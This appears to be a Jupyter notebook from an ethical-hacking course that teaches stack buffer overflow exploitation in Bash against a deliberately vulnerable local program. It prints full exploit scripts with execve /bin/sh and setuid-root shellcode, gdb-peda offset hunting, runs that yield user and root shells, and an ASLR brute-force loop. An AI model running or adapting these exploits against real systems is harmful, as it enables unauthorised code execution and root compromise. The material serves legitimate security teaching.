ExploitCode-UsingBashScript.ipynb

{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Exploit Code\n",
    "\n",
    "- code/program that crafts and delivers a payload to a vulnerabile program is called exploit code\n",
    "- helps deliver the shellcode code directly to the vulnerable program\n",
    "    - over network, or locally using stdio or program argument, etc.\n",
    "- you can create a exploit code in Bash, Python, C/C++, etc. to send the payload to the vulnerable target program\n",
    "- this notebook demonstrates how to create exploit code using Bash script\n",
    "\n",
    "## Bash exploit code\n",
    "- Bash script is used to write exploit code\n",
    "- let's look at the `demos/stack_overflow/so_arg_exploit.sh` that exploits `so_arg.exe` program\n",
    "- the script is all the steps put together when we went over exploiting with bash\n",
    "- note that certain values such as buffer_address and offset may be different in different system \n",
    "    - use the exploit code as a template \n",
    "    - update buffer_address and offset as necessary\n",
    "- let's first modify (if necessary) and run the exploit code"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 1,
   "metadata": {},
   "outputs": [
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "[sudo] password for kali: "
     ]
    }
   ],
   "source": [
    "%%bash\n",
    "input=\"demos/stack_overflow/so_arg.cpp\"\n",
    "output=\"so_arg.exe\"\n",
    "\n",
    "echo kali | sudo -S ./compile.sh $input $output"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 2,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "buffer is at 0xffffc1d0\r\n",
      "buffer contains: \r\n",
      "Hello There\r\n",
      "Good bye!\r\n"
     ]
    }
   ],
   "source": [
    "! ./so_arg.exe \"Hello There\""
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 3,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "#!/bin/bash\n",
      "#\n",
      "# local exploit code using bash script\n",
      "#\n",
      "\n",
      "# Generate payload in the format: | NOP sled | shellcode | repeated return address |\n",
      "# write each line of shellcode generated by PEDA to a file\n",
      "\n",
      "# write the user-level shellcode to a file\n",
      "shellcode_file_name=\"shellcode.bin\"\n",
      "echo -ne \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\" > $shellcode_file_name\n",
      "echo -ne \"\\xc9\\x89\\xca\\x6a\\x0b\\x58\\xcd\\x80\" >> $shellcode_file_name\n",
      "\n",
      "# vulnerable program to exploit\n",
      "#########FIXME\n",
      "target_program=\"so_arg.exe\"\n",
      "#########\n",
      "\n",
      "######FIXME\n",
      "offset=144 # EIP+0+4 or look for [ESP] --> offset ... in PEDA pattern search\n",
      "######\n",
      "#python3 -c 'print(\"A\"*144, end=\"\")' | ./$target_program\n",
      "\n",
      "######FIXME\n",
      "# feed buffer variable's address in Little Endian; reverse of what you see on screen\n",
      "# can add a few bytes so you can land away from the beginning address\n",
      "#printf \"buffer_address: %x\\n\" $((0xffffc2c0 + 20))\n",
      "buffer_address=\"\\xc0\\xc2\\xff\\xff\"\n",
      "########\n",
      "\n",
      "wc -c shellcode.bin\n",
      "shellcode_size=24 # find and update the shellcode_size if necessary\n",
      "repeat_return_address=5\n",
      "return_address_size=$((4*$repeat_return_address)) # repeat return address 5 times\n",
      "NOP_sled_size=$(($offset-$shellcode_size-$return_address_size))\n",
      "printf \"NOP Sled size: %d half-way: %d\\n\" $NOP_sled_size $((NOP_sled_size/2))\n",
      "# now we've all the sizes we need for each section of the payload, write the complete payload to a file\n",
      "\n",
      "# create an emptyfile, truncate if exists\n",
      "payload_file_name=\"payload.bin\"\n",
      "echo -n > $payload_file_name\n",
      "\n",
      "# write NOPs\n",
      "for (( i=1; i <= $NOP_sled_size; i++ ))\n",
      "do\n",
      "    echo -ne \"\\x90\" >> $payload_file_name\n",
      "done\n",
      "\n",
      "# write shellcode\n",
      "cat $shellcode_file_name >> $payload_file_name\n",
      "\n",
      "# write repeated return address\n",
      "for (( i=1; i <= $repeat_return_address; i++ ))\n",
      "do\n",
      "    echo -ne $buffer_address >> $payload_file_name\n",
      "done\n",
      "\n",
      "echo \"payload ready and has size of \" $(wc -c $payload_file_name)\n",
      "hexdump -C $payload_file_name\n",
      "echo \"sending the payload...\"\n",
      "./$target_program $(cat $payload_file_name)\n"
     ]
    }
   ],
   "source": [
    "%%bash\n",
    "\n",
    "cp demos/stack_overflow/so_arg_exploit.sh .\n",
    "cat so_arg_exploit.sh"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Update the exploit code\n",
    "\n",
    "- update the target_program and give it a try\n",
    "\n",
    "```bash\n",
    "┌──(kali㉿K)-[~/EthicalHacking]\n",
    "└─$ bash so_arg_exploit.sh \n",
    "24 shellcode.bin\n",
    "NOP Sled size: 100 half-way: 50\n",
    "payload ready and has size of  144 payload.bin\n",
    "00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|\n",
    "*\n",
    "00000060  90 90 90 90 31 c0 50 68  2f 2f 73 68 68 2f 62 69  |....1.Ph//shh/bi|\n",
    "00000070  6e 89 e3 31 c9 89 ca 6a  0b 58 cd 80 c0 c2 ff ff  |n..1...j.X......|\n",
    "00000080  c0 c2 ff ff c0 c2 ff ff  c0 c2 ff ff c0 c2 ff ff  |................|\n",
    "00000090\n",
    "sending the payload...\n",
    "buffer is at 0xffffc2f0\n",
    "buffer contains: \n",
    "����������������������������������������������������������������������������������������������������1�Ph//shh/bin��1ɉ�j\n",
    "  X��������������������\n",
    "so_arg_exploit.sh: line 58:  8569 Segmentation fault      ./$target_program $(cat $payload_file_name)\n",
    "\n",
    "```\n",
    "\n",
    "- find and update the offset using gdb-peda if necessary\n",
    "\n",
    "```bash\n",
    "┌──(kali㉿K)-[~/EthicalHacking]\n",
    "└─$ gdb -q so_arg.exe                                                  Reading symbols from so_arg.exe...\n",
    "```\n",
    "\n",
    "- create cyclic pattern (long enough) 200 bytes as an argument and use it to run the program\n",
    "\n",
    "```bash\n",
    "gdb-peda$ pattern arg 200\n",
    "Set 1 arguments to program\n",
    "\n",
    "gdb-peda$ run\n",
    "\n",
    "Starting program: /home/kali/EthicalHacking/so_arg.exe 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'\n",
    "buffer is at 0xffffc250\n",
    "buffer contains: \n",
    "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n",
    "\n",
    "Program received signal SIGSEGV, Segmentation fault.\n",
    "[----------------------------------registers-----------------------------------]\n",
    "EAX: 0xf7fb2c00 --> 0xf7faf990 --> 0xf7ef71b0 (<_ZNSoD1Ev>:     push   ebx)\n",
    "EBX: 0x6c414150 ('PAAl')\n",
    "ECX: 0x6c0 \n",
    "EDX: 0x8051bb0 (\"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\"...)\n",
    "ESI: 0xf7de6000 --> 0x1e4d6c \n",
    "EDI: 0xf7de6000 --> 0x1e4d6c \n",
    "EBP: 0x41514141 ('AAQA')\n",
    "ESP: 0xffffc2e0 (\"RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "EIP: 0x41416d41 ('AmAA')\n",
    "EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)\n",
    "[-------------------------------------code-------------------------------------]\n",
    "Invalid $PC address: 0x41416d41\n",
    "[------------------------------------stack-------------------------------------]\n",
    "0000| 0xffffc2e0 (\"RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0004| 0xffffc2e4 (\"AASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0008| 0xffffc2e8 (\"ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0012| 0xffffc2ec (\"TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0016| 0xffffc2f0 (\"AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0020| 0xffffc2f4 (\"ArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0024| 0xffffc2f8 (\"VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0028| 0xffffc2fc (\"AAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "[------------------------------------------------------------------------------]\n",
    "Legend: code, data, rodata, value\n",
    "Stopped reason: SIGSEGV\n",
    "0x41416d41 in ?? ()\n",
    "```\n",
    "\n",
    "- search the pattern in registers to find the offset\n",
    "\n",
    "```bash\n",
    "\n",
    "gdb-peda$ patts\n",
    "Registers contain pattern buffer:\n",
    "EBX+0 found at offset: 132\n",
    "EBP+0 found at offset: 136\n",
    "EIP+0 found at offset: 140 <---- OFFSET TO RETUN ADDRESS !!!!\n",
    "Registers point to pattern buffer:\n",
    "[EDX] --> offset 0 - size ~203\n",
    "[ESP] --> offset 144 - size ~56   <---- TOTAL LENGTH OF PAYLOAD !!!!\n",
    "Pattern buffer found at:\n",
    "0x08051bb0 : offset    0 - size  200 ([heap])\n",
    "0xf7c000cd : offset 33208 - size    4 (/usr/lib32/libm-2.31.so)\n",
    "0xffffc250 : offset    0 - size  200 ($sp + -0x90 [-36 dwords])\n",
    "0xffffc625 : offset    0 - size  200 ($sp + 0x345 [209 dwords])\n",
    "References to pattern buffer found at:\n",
    "0xf7de6d24 : 0x08051bb0 (/usr/lib32/libc-2.31.so)\n",
    "0xf7de6d28 : 0x08051bb0 (/usr/lib32/libc-2.31.so)\n",
    "0xf7de6d2c : 0x08051bb0 (/usr/lib32/libc-2.31.so)\n",
    "0xf7de6d30 : 0x08051bb0 (/usr/lib32/libc-2.31.so)\n",
    "0xf7de6d34 : 0x08051bb0 (/usr/lib32/libc-2.31.so)\n",
    "0xf7de6d38 : 0x08051bb0 (/usr/lib32/libc-2.31.so)\n",
    "0xf7de6d3c : 0x08051bb0 (/usr/lib32/libc-2.31.so)\n",
    "0xffffbbc4 : 0x08051bb0 ($sp + -0x71c [-455 dwords])\n",
    "0xffffbbe8 : 0x08051bb0 ($sp + -0x6f8 [-446 dwords])\n",
    "0xffffbc14 : 0x08051bb0 ($sp + -0x6cc [-435 dwords])\n",
    "0xffffbc30 : 0x08051bb0 ($sp + -0x6b0 [-428 dwords])\n",
    "0xffffbc34 : 0x08051bb0 ($sp + -0x6ac [-427 dwords])\n",
    "0xffffbc44 : 0x08051bb0 ($sp + -0x69c [-423 dwords])\n",
    "0xffffbc94 : 0x08051bb0 ($sp + -0x64c [-403 dwords])\n",
    "0xffffc0d8 : 0x08051bb0 ($sp + -0x208 [-130 dwords])\n",
    "0xffffc124 : 0x08051bb0 ($sp + -0x1bc [-111 dwords])\n",
    "0xf7e62dcc : 0xffffc250 (/usr/lib32/libstdc++.so.6.0.28)\n",
    "0xffffbd40 : 0xffffc250 ($sp + -0x5a0 [-360 dwords])\n",
    "0xf7e650b7 : 0xffffc625 (/usr/lib32/libstdc++.so.6.0.28)\n",
    "0xffffc3b8 : 0xffffc625 ($sp + 0xd8 [54 dwords])\n",
    "\n",
    "```\n",
    "\n",
    "- buffer address is conviniently printed (0xffffc2f0), everytime program is executed\n",
    "- once the offset and return address are updated, run the exploit code\n",
    "\n",
    "```bash\n",
    "\n",
    "┌──(kali㉿K)-[~/EthicalHacking]\n",
    "└─$ bash so_arg_exploit.sh\n",
    "24 shellcode.bin\n",
    "NOP Sled size: 100 half-way: 50\n",
    "payload ready and has size of  144 payload.bin\n",
    "00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|\n",
    "*\n",
    "00000060  90 90 90 90 31 c0 50 68  2f 2f 73 68 68 2f 62 69  |....1.Ph//shh/bi|\n",
    "00000070  6e 89 e3 31 c9 89 ca 6a  0b 58 cd 80 f0 c2 ff ff  |n..1...j.X......|\n",
    "00000080  f0 c2 ff ff f0 c2 ff ff  f0 c2 ff ff f0 c2 ff ff  |................|\n",
    "00000090\n",
    "sending the payload...\n",
    "buffer is at 0xffffc2f0\n",
    "buffer contains: \n",
    "����������������������������������������������������������������������������������������������������1�Ph//shh/bin��1ɉ�j\n",
    "  X��������������������\n",
    "$ whoami\n",
    "kali\n",
    "$ date\n",
    "Thu Dec 17 08:53:37 MST 2020\n",
    "$ exit\n",
    "\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Bash setuid exploit\n",
    "- very similar to the bash exploit above\n",
    "- main difference is that this exploit uses root shellcode\n",
    "- you don't need to set /bin/sh softlink point to /bin/zsh if you use root shellcode provided\n",
    "\n",
    "### set root setuid on the target program\n",
    "- root setuid let's the program run as root and access privileded files and commands"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "lrwxrwxrwx 1 root root 8 Mar 29 15:50 /bin/sh -> /bin/zsh\r\n"
     ]
    }
   ],
   "source": [
    "! ls -al /bin/sh"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 7,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[sudo] password for kali: "
     ]
    }
   ],
   "source": [
    "! echo kali | sudo -S ln -sf /bin/dash /bin/sh"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 8,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "lrwxrwxrwx 1 root root 9 Mar 31 14:38 /bin/sh -> /bin/dash\r\n"
     ]
    }
   ],
   "source": [
    "! ls -al /bin/sh"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 1,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "ls: so_arg.exe: No such file or directory\r\n"
     ]
    }
   ],
   "source": [
    "! ls -al so_arg.exe"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 8,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[sudo] password for kali: "
     ]
    }
   ],
   "source": [
    "! echo kali | sudo -S chown root:root so_arg.exe"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 13,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[sudo] password for kali: "
     ]
    }
   ],
   "source": [
    "! echo kali | sudo -S chmod +s so_arg.exe"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 14,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "-rwsr-sr-x 1 root root 33308 Dec 17 10:12 so_arg.exe\r\n"
     ]
    }
   ],
   "source": [
    "! ls -al so_arg.exe\n",
    "# notice the s"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 15,
   "metadata": {},
   "outputs": [],
   "source": [
    "! cp ./demos/stack_overflow/so_arg_exploit_setuid.sh ."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 16,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "#!/bin/bash\r\n",
      "#\r\n",
      "# Template for local interactive exploit code using bash script\r\n",
      "#\r\n",
      "\r\n",
      "# Generate payload file in the format: | NOP sled | shellcode | repeated return address |\r\n",
      "# write each line of shellcode generated by PEDA to a file\r\n",
      "\r\n",
      "# write shellcode to a file\r\n",
      "shellcode_file_name=\"shellcode.bin\"\r\n",
      "\r\n",
      "echo -ne \"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x99\\xb0\\xa4\\xcd\\x80\\x6a\\x0b\\x58\\x51\\x68\" > $shellcode_file_name\r\n",
      "echo -ne \"\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x51\\x89\\xe2\\x53\\x89\" >> $shellcode_file_name\r\n",
      "echo -ne \"\\xe1\\xcd\\x80\" >> $shellcode_file_name\r\n",
      "wc -c shellcode.bin\r\n",
      "\r\n",
      "# vulnerable program to exploit\r\n",
      "######FXIME\r\n",
      "target_program=\"stack_overflow_arg.exe\"\r\n",
      "offset=144 # EIP+0+4 or look for [ESP] --> offset ... in PEDA pattern search\r\n",
      "#######\r\n",
      "\r\n",
      "#python3 -c 'print(\"A\"*144, end=\"\")' | ./$target_program\r\n",
      "\r\n",
      "######FIXME\r\n",
      "# feed buffer variable's address in Little Endian; reverse of what you see on screen\r\n",
      "# can add a few bytes so you can land away from the beginning address\r\n",
      "#printf \"buffer_address: %x\\n\" $((0xffffc2c0 + 20))\r\n",
      "buffer_address=\"\\xc0\\xc0\\xff\\xff\"\r\n",
      "########\r\n",
      "\r\n",
      "\r\n",
      "shellcode_size=35 # find and update the shellcode_size if necessary\r\n",
      "repeat_return_address=5\r\n",
      "return_address_size=$((4*$repeat_return_address)) # repeat return address 5 times\r\n",
      "NOP_sled_size=$(($offset-$shellcode_size-$return_address_size))\r\n",
      "printf \"NOP Sled size: %d half-way: %d\\n\" $NOP_sled_size $((NOP_sled_size/2))\r\n",
      "# now we've all the sizes we need for each section of the payload, write the complete payload to a file\r\n",
      "\r\n",
      "# create an emptyfile, truncate if exists\r\n",
      "payload_file_name=\"payload.bin\"\r\n",
      "echo -n > $payload_file_name\r\n",
      "\r\n",
      "# write NOPs\r\n",
      "for (( i=1; i <= $NOP_sled_size; i++ ))\r\n",
      "do\r\n",
      "    echo -ne \"\\x90\" >> $payload_file_name\r\n",
      "done\r\n",
      "\r\n",
      "# write shellcode\r\n",
      "cat $shellcode_file_name >> $payload_file_name\r\n",
      "\r\n",
      "# write repeated return address\r\n",
      "for (( i=1; i <= $repeat_return_address; i++ ))\r\n",
      "do\r\n",
      "    echo -ne $buffer_address >> $payload_file_name\r\n",
      "done\r\n",
      "\r\n",
      "echo \"payload ready and has size of \" $(wc -c $payload_file_name)\r\n",
      "hexdump -C $payload_file_name\r\n",
      "echo \"sending the payload...\"\r\n",
      "./$target_program $(cat $payload_file_name)\r\n"
     ]
    }
   ],
   "source": [
    "! cat so_arg_exploit_setuid.sh"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Update and run the exploit\n",
    "- update the target_program, offset and return address\n",
    "- update the target program and do a dry run\n",
    "\n",
    "```bash\n",
    "┌──(kali㉿K)-[~/EthicalHacking]\n",
    "└─$ bash so_arg_exploit_setuid.sh                                                                              139 ⨯\n",
    "35 shellcode.bin\n",
    "NOP Sled size: 89 half-way: 44\n",
    "payload ready and has size of  144 payload.bin\n",
    "00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|\n",
    "*\n",
    "00000050  90 90 90 90 90 90 90 90  90 31 c0 31 db 31 c9 99  |.........1.1.1..|\n",
    "00000060  b0 a4 cd 80 6a 0b 58 51  68 2f 2f 73 68 68 2f 62  |....j.XQh//shh/b|\n",
    "00000070  69 6e 89 e3 51 89 e2 53  89 e1 cd 80 c0 c0 ff ff  |in..Q..S........|\n",
    "00000080  c0 c0 ff ff c0 c0 ff ff  c0 c0 ff ff c0 c0 ff ff  |................|\n",
    "00000090\n",
    "sending the payload...\n",
    "buffer is at 0xffffc2f0\n",
    "buffer contains: \n",
    "�����������������������������������������������������������������������������������������1�1�1ə��j\n",
    "                                                                                                  XQh//shh/bin��Q��S����������������������\n",
    "so_arg_exploit_setuid.sh: line 62:  9572 Segmentation fault      ./$target_program $(cat $payload_file_name)\n",
    "```\n",
    "\n",
    "- update the return address, update offset if necessary\n",
    "\n",
    "```\n",
    "┌──(kali㉿K)-[~/EthicalHacking]\n",
    "└─$ bash so_arg_exploit_setuid.sh                                                                              139 ⨯\n",
    "35 shellcode.bin\n",
    "NOP Sled size: 89 half-way: 44\n",
    "payload ready and has size of  144 payload.bin\n",
    "00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|\n",
    "*\n",
    "00000050  90 90 90 90 90 90 90 90  90 31 c0 31 db 31 c9 99  |.........1.1.1..|\n",
    "00000060  b0 a4 cd 80 6a 0b 58 51  68 2f 2f 73 68 68 2f 62  |....j.XQh//shh/b|\n",
    "00000070  69 6e 89 e3 51 89 e2 53  89 e1 cd 80 f0 c2 ff ff  |in..Q..S........|\n",
    "00000080  f0 c2 ff ff f0 c2 ff ff  f0 c2 ff ff f0 c2 ff ff  |................|\n",
    "00000090\n",
    "sending the payload...\n",
    "buffer is at 0xffffc2f0\n",
    "buffer contains: \n",
    "�����������������������������������������������������������������������������������������1�1�1ə��j\n",
    "                                                                                                  XQh//shh/bin��Q��S����������������������\n",
    "# whoami\n",
    "root\n",
    "# id  \n",
    "uid=0(root) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),133(scanner),141(kaboxer)\n",
    "# exit\n",
    "```\n",
    "\n",
    "- we get a root shell; meaning you're now logged in as a root\n",
    "- attackers can inflict a lot more damage with the root priviledge"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Defeating Address Randomization\n",
    "\n",
    "- on 32-bit system stack only has 19 bits of entropy\n",
    "    - 2^19 = 524,288 possibilities\n",
    "- since the number is not that high, we can bruteforce the attack even if the ASLR is turned on\n",
    "- we'll need a bash script to automate brute-force execution of our exploitcode\n",
    "- a such script is provided in `demos/stack_overflow/so_arg_bash_exploit_aslr_on.sh`"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 1,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[sudo] password for kali: 2\n"
     ]
    }
   ],
   "source": [
    "! echo kali | sudo -S cat /proc/sys/kernel/randomize_va_space"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 2,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[sudo] password for kali: 2\n"
     ]
    }
   ],
   "source": [
    "# make sure to set randomize_va_space value to 2 to completely enable ASLR\n",
    "! echo kali | sudo -S bash -c 'echo 2 | sudo -S tee /proc/sys/kernel/randomize_va_space'"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "metadata": {},
   "outputs": [],
   "source": [
    "! cp demos/stack_overflow/so_arg_bash_exploit_aslr_on.sh ."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "#!/bin/bash\r\n",
      "SECONDS=0\r\n",
      "value=0\r\n",
      "while true; do\r\n",
      "    value=$(( $value + 1 ))\r\n",
      "    duration=$SECONDS\r\n",
      "    min=$(($duration / 60))\r\n",
      "    sec=$(($duration % 60))\r\n",
      "    echo \"$min minutes and $sec seconds elapsed.\"\r\n",
      "    echo \"The program has been running $value times so far.\"\r\n",
      "    bash so_arg_exploit.sh\r\n",
      "done"
     ]
    }
   ],
   "source": [
    "! cat so_arg_bash_exploit_aslr_on.sh"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Challenge\n",
    "\n",
    "1. write exploit code for the target program `demos/stack_overflow/so_stdio.cpp` using Bash script\n",
    "    - target program when exploited gives user shell\n",
    "    - test to make sure the exploit code works\n",
    "    \n",
    "    \n",
    "2. write exploit code for the target program `demos/stack_overflow/so_stdio.cpp` using Bash script\n",
    "    - target program when exploited gives root shell\n",
    "    - test to make sure the exploit code works\n",
    "    \n",
    "3. try with both ASLR disabled and enabled"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3 (ipykernel)",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.10.9"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 4
}